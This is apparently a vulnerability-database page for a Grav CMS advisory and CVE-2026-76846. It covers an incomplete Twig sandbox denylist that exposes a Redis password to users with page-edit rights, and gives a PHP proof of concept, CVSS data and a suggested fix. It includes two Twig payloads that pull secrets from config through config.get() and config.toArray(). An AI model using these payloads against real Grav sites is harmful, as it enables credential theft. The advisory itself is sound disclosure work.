Vulnerability-Lookup

GHSA-XJW5-Q542-3VMR

Vulnerability from github – Published: 2026-09-17 20:27 – Updated: 2026-09-17 20:27

Summary

Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled

Details

Summary

system/config/security.yaml's default twig_sandbox.config_denied_paths list (plugins, streams, security, backups, scheduler) omits the system prefix. When an operator enables the documented, non-default twig_content.config_access: true setting (intended to safely expose low-sensitivity values like site.title to editor-authored Twig content), any real secret stored under system.* , for example system.cache.redis.password , is also exposed, both via config.get(...) and via config.toArray(), to any user with page-edit permission.

This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret exfiltration): that fix correctly introduced a SandboxConfig facade with a denylist, but the shipped default denylist is incomplete.

Environment used to verify

Grav commit at HEAD of the default branch, GRAV_VERSION 2.0.15
PHP 8.3.6 with curl, zip, dom, gd extensions installed
Full composer install --no-dev run against the real repository (no mocked dependencies) so the actual Grav\Common\Config\Config and Grav\Common\Twig\Sandbox\SandboxConfig classes could be exercised directly

Commands run to set up the verification environment

git clone https://github.com/getgrav/grav.git
cd grav

# install missing PHP extensions required by composer.json
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd

# composer.phar fetched directly from GitHub releases
curl -sL -o /tmp/composer.phar \
  "https://github.com/composer/composer/releases/latest/download/composer.phar"

COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction

Proof of Concept

Confirmed the real, currently-shipped config field first, rather than assuming one:

grep -n "redis" -A3 system/config/system.yaml
#   redis:
#     socket: false
#     password:                # <- system.cache.redis.password, a real field
#     database:

grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml
#   cache.redis.password:      # <- confirmed exposed in the admin UI as "REDIS Password"
#     type: text

sandbox_test.php , loads the real classes via the real autoloader, no mocking of Config or SandboxConfig themselves:

<?php
require 'vendor/autoload.php';

use Grav\Common\Config\Config;
use Grav\Common\Twig\Sandbox\SandboxConfig;

// Real field: system.cache.redis.password
// (system/config/system.yaml line 138; blueprint in
// system/blueprints/config/system.yaml, "cache.redis.password")
$configTree = [
    'system' => [
        'cache' => [
            'driver' => 'redis',
            'redis' => [
                'server'   => '10.0.0.5',
                'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK',
            ],
        ],
    ],
    'plugins' => [
        'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'],
    ],
    'site' => ['title' => 'My Site'],
];

$config = new Config($configTree);

// exact default list shipped in system/config/security.yaml
$defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];

$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);

echo "plugins.someplugin.api_key: ";
var_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED'));

echo "system.cache.redis.password: ";
var_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));

print_r($sandboxConfig->toArray());

Run:

php sandbox_test.php

Output:

plugins.someplugin.api_key: string(8) "REDACTED"

system.cache.redis.password: string(42) "REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK"

Array
(
    [system] => Array
        (
            [cache] => Array
                (
                    [driver] => redis
                    [redis] => Array
                        (
                            [server] => 10.0.0.5
                            [password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK
                        )

                )

        )

    [site] => Array
        (
            [title] => My Site
        )

)

plugins.* is correctly redacted; system.cache.redis.password is not, and appears in full both via targeted get() and via bulk toArray().

Confirming the Twig-reachable path is real

system/config/security.yaml's sandbox policy explicitly allow-lists SandboxConfig's methods for use inside sandboxed page-content templates:

- class: 'Grav\Common\Twig\Sandbox\SandboxConfig'
  methods: 'get, toarray, value, offsetget, offsetexists'

So, with twig_content.process_enabled: true and twig_content.config_access: true both set (both documented, operator-controlled settings), a page containing:

{{ config.get('system.cache.redis.password') }}

{{ config.toArray() }}

renders the real Redis password directly into the page output for any user with page-edit permission.

Impact

Any site that (a) uses Redis for caching with a password set, and (b) has enabled the documented config_access opt-in (intended only to expose things like site.title), exposes that Redis password , and potentially other future system.* secrets , to every user with page-edit access, not just administrators. This defeats the purpose of the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific combination of otherwise-legitimate settings.

Suggested fix

Add system to the default config_denied_paths list in system/config/security.yaml, or invert the model to an allowlist (e.g. site, and any other subtree confirmed non-sensitive) so a future secret-bearing config key added under system.* doesn't silently bypass the sandbox by default.

Affected component

system/config/security.yaml, twig_sandbox.config_denied_paths default value
system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php (behaves correctly given its input; the gap is in the default list passed to it) ```

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.15"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-76846"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T20:27:05Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`system/config/security.yaml`\u0027s default `twig_sandbox.config_denied_paths` list\n(`plugins`, `streams`, `security`, `backups`, `scheduler`) omits the `system` prefix.\nWhen an operator enables the documented, non-default `twig_content.config_access: true`\nsetting (intended to safely expose low-sensitivity values like `site.title` to\neditor-authored Twig content), any real secret stored under `system.*` , for example\n`system.cache.redis.password` , is also exposed, both via `config.get(...)` and via\n`config.toArray()`, to any user with page-edit permission.\n\nThis is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret\nexfiltration): that fix correctly introduced a `SandboxConfig` facade with a denylist,\nbut the shipped default denylist is incomplete.\n\n## Environment used to verify\n\n- Grav commit at HEAD of the default branch, `GRAV_VERSION` `2.0.15`\n- PHP 8.3.6 with curl, zip, dom, gd extensions installed\n- Full `composer install --no-dev` run against the real repository (no mocked\n  dependencies) so the actual `Grav\\Common\\Config\\Config` and\n  `Grav\\Common\\Twig\\Sandbox\\SandboxConfig` classes could be exercised directly\n\n## Commands run to set up the verification environment\n\n```bash\ngit clone https://github.com/getgrav/grav.git\ncd grav\n\n# install missing PHP extensions required by composer.json\napt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd\n\n# composer.phar fetched directly from GitHub releases\ncurl -sL -o /tmp/composer.phar \\\n  \"https://github.com/composer/composer/releases/latest/download/composer.phar\"\n\nCOMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction\n```\n\n## Proof of Concept\n\nConfirmed the real, currently-shipped config field first, rather than assuming one:\n\n```bash\ngrep -n \"redis\" -A3 system/config/system.yaml\n#   redis:\n#     socket: false\n#     password:                # \u003c- system.cache.redis.password, a real field\n#     database:\n\ngrep -n \"cache.redis.password\" -A6 system/blueprints/config/system.yaml\n#   cache.redis.password:      # \u003c- confirmed exposed in the admin UI as \"REDIS Password\"\n#     type: text\n```\n\n`sandbox_test.php` , loads the real classes via the real autoloader, no mocking of\n`Config` or `SandboxConfig` themselves:\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse Grav\\Common\\Config\\Config;\nuse Grav\\Common\\Twig\\Sandbox\\SandboxConfig;\n\n// Real field: system.cache.redis.password\n// (system/config/system.yaml line 138; blueprint in\n// system/blueprints/config/system.yaml, \"cache.redis.password\")\n$configTree = [\n    \u0027system\u0027 =\u003e [\n        \u0027cache\u0027 =\u003e [\n            \u0027driver\u0027 =\u003e \u0027redis\u0027,\n            \u0027redis\u0027 =\u003e [\n                \u0027server\u0027   =\u003e \u002710.0.0.5\u0027,\n                \u0027password\u0027 =\u003e \u0027REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK\u0027,\n            ],\n        ],\n    ],\n    \u0027plugins\u0027 =\u003e [\n        \u0027someplugin\u0027 =\u003e [\u0027api_key\u0027 =\u003e \u0027plugin-secret-should-be-blocked\u0027],\n    ],\n    \u0027site\u0027 =\u003e [\u0027title\u0027 =\u003e \u0027My Site\u0027],\n];\n\n$config = new Config($configTree);\n\n// exact default list shipped in system/config/security.yaml\n$defaultDeniedPaths = [\u0027plugins\u0027, \u0027streams\u0027, \u0027security\u0027, \u0027backups\u0027, \u0027scheduler\u0027];\n\n$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);\n\necho \"plugins.someplugin.api_key: \";\nvar_dump($sandboxConfig-\u003eget(\u0027plugins.someplugin.api_key\u0027, \u0027REDACTED\u0027));\n\necho \"system.cache.redis.password: \";\nvar_dump($sandboxConfig-\u003eget(\u0027system.cache.redis.password\u0027, \u0027REDACTED\u0027));\n\nprint_r($sandboxConfig-\u003etoArray());\n```\n\nRun:\n\n```bash\nphp sandbox_test.php\n```\n\nOutput:\n\n```\nplugins.someplugin.api_key: string(8) \"REDACTED\"\n\nsystem.cache.redis.password: string(42) \"REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK\"\n\nArray\n(\n    [system] =\u003e Array\n        (\n            [cache] =\u003e Array\n                (\n                    [driver] =\u003e redis\n                    [redis] =\u003e Array\n                        (\n                            [server] =\u003e 10.0.0.5\n                            [password] =\u003e REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK\n                        )\n\n                )\n\n        )\n\n    [site] =\u003e Array\n        (\n            [title] =\u003e My Site\n        )\n\n)\n```\n\n`plugins.*` is correctly redacted; `system.cache.redis.password` is not, and appears in\nfull both via targeted `get()` and via bulk `toArray()`.\n\n## Confirming the Twig-reachable path is real\n\n`system/config/security.yaml`\u0027s sandbox policy explicitly allow-lists `SandboxConfig`\u0027s\nmethods for use inside sandboxed page-content templates:\n\n```yaml\n- class: \u0027Grav\\Common\\Twig\\Sandbox\\SandboxConfig\u0027\n  methods: \u0027get, toarray, value, offsetget, offsetexists\u0027\n```\n\nSo, with `twig_content.process_enabled: true` and `twig_content.config_access: true`\nboth set (both documented, operator-controlled settings), a page containing:\n\n```twig\n{{ config.get(\u0027system.cache.redis.password\u0027) }}\n```\n\nor\n\n```twig\n{{ config.toArray() }}\n```\n\nrenders the real Redis password directly into the page output for any user with\npage-edit permission.\n\n## Impact\n\nAny site that (a) uses Redis for caching with a password set, and (b) has enabled the\ndocumented `config_access` opt-in (intended only to expose things like `site.title`),\nexposes that Redis password , and potentially other future `system.*` secrets , to\nevery user with page-edit access, not just administrators. This defeats the purpose of\nthe redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific\ncombination of otherwise-legitimate settings.\n\n## Suggested fix\n\nAdd `system` to the default `config_denied_paths` list in\n`system/config/security.yaml`, or invert the model to an allowlist (e.g. `site`, and\nany other subtree confirmed non-sensitive) so a future secret-bearing config key added\nunder `system.*` doesn\u0027t silently bypass the sandbox by default.\n\n## Affected component\n\n- `system/config/security.yaml`, `twig_sandbox.config_denied_paths` default value\n- `system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php` (behaves correctly given its\n  input; the gap is in the default list passed to it)\n```",
  "id": "GHSA-xjw5-q542-3vmr",
  "modified": "2026-09-17T20:27:05Z",
  "published": "2026-09-17T20:27:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-xjw5-q542-3vmr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76846"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-before-information-disclosure-via-twig-sandbox"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled"
}

CVE-2026-76846 (GCVE-0-2026-76846)

Vulnerability from cvelistv5 – Published: 2026-08-25 01:30 – Updated: 2026-10-08 15:25

Title

Grav before 2.0.16 Information Disclosure via Twig Sandbox

Summary

Grav before 2.0.16 contains an incomplete default denylist in the Twig sandbox configuration that fails to block access to system configuration secrets. Attackers with page-edit permission can use config.get() or config.toArray() in Twig templates to retrieve sensitive values like system.cache.redis.password when config_access is enabled.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-27 14:55 UTC

CWE

CWE-522 - Insufficiently Protected Credentials

Assigner

VulnCheck CNA under the mitre root

CNA scorecard B 84/100 over 8184 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/getgrav/grav/security/advisori…	vendor-advisory
https://www.vulncheck.com/advisories/grav-before-…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
getgrav	grav	Affected: 0 , < 2.0.16 (semver) Unaffected: 2.0.16 (semver) cpe:2.3:a:getgrav:grav::::::::

Date Public

2026-08-10 00:00

Credits

alham-rizvi

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-76846",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-27T14:55:11.428296Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-27T14:55:30.423Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/getgrav/grav/security/advisories/GHSA-xjw5-q542-3vmr"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:composer/getgrav/grav",
          "product": "grav",
          "vendor": "getgrav",
          "versions": [
            {
              "lessThan": "2.0.16",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "2.0.16",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "2.0.16",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "alham-rizvi"
        }
      ],
      "datePublic": "2026-08-10T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "Grav before 2.0.16 contains an incomplete default denylist in the Twig sandbox configuration that fails to block access to system configuration secrets. Attackers with page-edit permission can use config.get() or config.toArray() in Twig templates to retrieve sensitive values like system.cache.redis.password when config_access is enabled."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "exploitMaturity": "NOT_DEFINED",
            "privilegesRequired": "NONE",
            "providerUrgency": "NOT_DEFINED",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "NONE",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS"
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-522",
              "description": "Insufficiently Protected Credentials",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-08T15:25:06.688Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GitHub Security Advisory (GHSA-xjw5-q542-3vmr)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/getgrav/grav/security/advisories/GHSA-xjw5-q542-3vmr"
        },
        {
          "name": "VulnCheck Advisory: Grav before 2.0.16 Information Disclosure via Twig Sandbox",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/grav-before-information-disclosure-via-twig-sandbox"
        }
      ],
      "title": "Grav before 2.0.16 Information Disclosure via Twig Sandbox",
      "x_generator": {
        "engine": "vulncheck-endgame"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-76846",
    "datePublished": "2026-08-25T01:30:31.891Z",
    "dateReserved": "2026-08-19T20:34:19.724Z",
    "dateUpdated": "2026-10-08T15:25:06.688Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-XJW5-Q542-3VMR

Summary

Environment used to verify

Commands run to set up the verification environment

Proof of Concept

Confirming the Twig-reachable path is real

Impact

Suggested fix

Affected component

CVE-2026-76846 (GCVE-0-2026-76846)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour